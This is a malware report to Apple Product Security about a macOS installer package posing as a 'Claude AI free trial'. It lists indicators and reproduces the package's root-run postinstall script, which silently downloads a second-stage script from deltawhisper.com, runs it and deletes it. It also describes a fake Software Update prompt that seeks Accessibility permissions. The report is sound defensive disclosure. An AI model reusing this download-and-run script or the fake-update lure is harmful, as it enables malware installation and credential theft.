Malware report: macOS .pkg installer impersonating an AI brand's free trial to distribute malware

To Apple Product Security / Phishing Report Team,

I am reporting a malicious macOS Installer package (.pkg) that impersonates a well-known AI company's brand ("Claude free trial") as a social-engineering lure to get users to install malware on their Mac.

1) Malicious installer file

- Filename: x64_setup_69_857_3.pkg

- SHA256: 30abee0c4a9ded33e7395cd60056518cfaaf00922e575264da6676f0e6018006

- Format: macOS Installer package (xar archive)

- Package identifier: com.deltawhispercom.installer

- Installs an app named "Whitelabel.app" (bundle id com.whitelabel.desktop) to /Applications

- Lure used: distributed/presented to the victim as a "Claude AI free trial" installer

2) Malicious behavior

The package's postinstall script executes with root privileges during installation. It silently downloads and runs a second-stage script from a remote server, then deletes evidence of its own execution:

#!/bin/bash

_t=$(mktemp /private/tmp/wp-setup-XXXXXX)

curl -fsSL --max-time 30 --noproxy '*' 'https://deltawhisper.com/install.sh' -o "$_t" 2>/dev/null || { rm -f "$_t"; exit 0; }

bash "$_t"

rm -f "$_t" 2>/dev/null

3) Follow-on activity observed on the infected Mac

After installation, a fake macOS "Software Update" system dialog appeared, requesting Accessibility permissions under the pretext of "quietly applying a system update." This is a known technique to gain screen-reading/keyboard-monitoring/automation capability, consistent with credential and cryptocurrency wallet theft.

4) Distribution / C2 domain

- deltawhisper.com

Request: Please investigate this malware and its distribution, and take appropriate action (e.g., flagging/blocking via XProtect and Gatekeeper, revoking any associated Developer ID signing certificate if the package is signed, and any other enforcement your team deems appropriate).

I can provide the sample file itself or further technical detail if helpful.

Thank you.